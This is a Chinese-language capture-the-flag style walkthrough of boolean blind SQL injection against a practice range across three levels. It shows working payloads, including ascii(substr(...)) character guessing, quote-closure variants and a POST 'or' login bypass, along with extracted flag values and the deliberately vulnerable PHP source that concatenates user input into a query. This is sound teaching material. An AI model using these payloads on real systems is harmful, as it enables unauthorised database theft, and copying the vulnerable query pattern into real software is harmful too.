首先介绍常用函数
length(str) 返回字符串str的长度
limit a,b 限制返回结果从a开始,返回结果数量为b
left(m,n) 从左向右截取字符串m返回其前n位
right(m,n) 从右向左截取字符串m返回其后几位
substr(m,1,2) 取字符串m的左边第一位起,2字长的字符串
mid(str,start,[length]) 从str中提取字符串,start为开始位置,length为截取长度
ascii(m) 返回字符m的ASCII码 同ord()
bin(x) 返回字符的二进制编码
binary(s) 将字符串s转换成二进制字符串
if(str1,str2,str3) 如果str1正确就执行str2,否则执行str3
sleep(m) 使程序暂停m秒
count(column_name) 返回指定列的值的数目

什么是盲注?
盲注就是目标页面没有任何回显的时候进行sql注入尝试,这里的回显是指查询的结果,错误提示等等的信息。
布尔盲注就是回显结果只有两种,true 和 false
靶场实操(布尔盲注)
0x00 Rank 1
先 and 1=1
,and 1=2
判断一波


判断存在注入,但是在查询结果存在只会返回有数据,而查询不到则是no results found,这就是典型的盲注
于是就通过构造语句,对想要查询的结果分开来分析判断,看操作吧!

order by
判断出有两个字段,然后构造一下查看数据库名的payload
union select database(),2 -- qwe

并判断不出来数据库名是啥,所以使用函数进行判断
length函数判断数据库名长度

判断出数据库名长度为12

然后使用substr()函数进行截取,一位一位猜解数据库名,这里比较复杂,所以采用burp进行爆破

猜解出来数据库名对应的ascii值
107 97 110 119 111 108 111 110 103 120 105 97

数据库名为kanwolongxia
然后进行表的查询

首先该数据库中存在三个表

第一个表名长度为6

爆出第一个表ascii码值是 108 111 102 108 97 103 为 loflag
相同方法爆出另外两个表分别为news
和 user

110 101 119 115

117 115 101 114
然后查看loflag
表中的字段

存在两列

第一个字段为 73 100 即Id

第二个字段为 102 108 97 103 108 111 即 flaglo
OK,最后查看一下flaglo
的值是什么
存在五个值,分别爆出来

第一个数据 122 75 97 81 45 81 81 81 zKaQ-QQQ

第二个数据 122 75 97 81 45 82 68 即 zKaQ-RD

第三个数据 122 75 97 81 45 77 111 114 101 110 即 zKaQ-Moren

第四个数据 122 75 97 81 45 116 105 109 101 45 104 106 即 zKaQ-time-hj

第五个数据 122 75 97 81 45 116 105 109 101 45 122 120 120 122 即 zKaQ-time-zxxz
OK·bool盲注第一关结束!
源码分析
$news ='';
@$id = $_GET['id']; // 第一关是get传参
@$sql = 'select *from news where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$news = $row['news'];
}
if($news!== ''){ // 这里是盲注的原因,结果正确只会告诉有数据,并不会返回查询的结果等信息!
echo '有数据';}
而显错注入会将username、id 等信息返回页面

0x01 Rank 2
做法与第一关相同,但这一关闭合方式为双引号闭合

其他操作均一致
这里不再解释,给一张获得正确flag的截图和payload
1%22%20and%20ascii(substr((select%20flaglo%20from%20loflag%20limit%201%2C1)%2C1%2C1))%3D1--%20qwe

flag为 122 75 97 81 45 82 68 即 zKaQ-RD
0x02 Rank 3

显然这一关是post注入的盲注了!方法还是一样的,只是注入点不一样了,post传参
先测试闭合方式,单引号闭合,万能密码登录成功,可见密码正确回显密码正确,错误回复错误,布尔盲注

抓包进行注入,注入点为post传参位置,注入方式仍然一样
' or ascii(substr((select flaglo from loflag limit 2,1),1,1))=1-- qwe

抓包进行数据爆破即可

flag为 122 75 97 81 45 77 111 114 101 110 即 zKaQ-Moren
总结
盲注的方法就是利用一些sql自带的函数进行对数据的猜解,通过页面不同的回显状态进行判断,从而得知想获取的数据
Comments NOTHING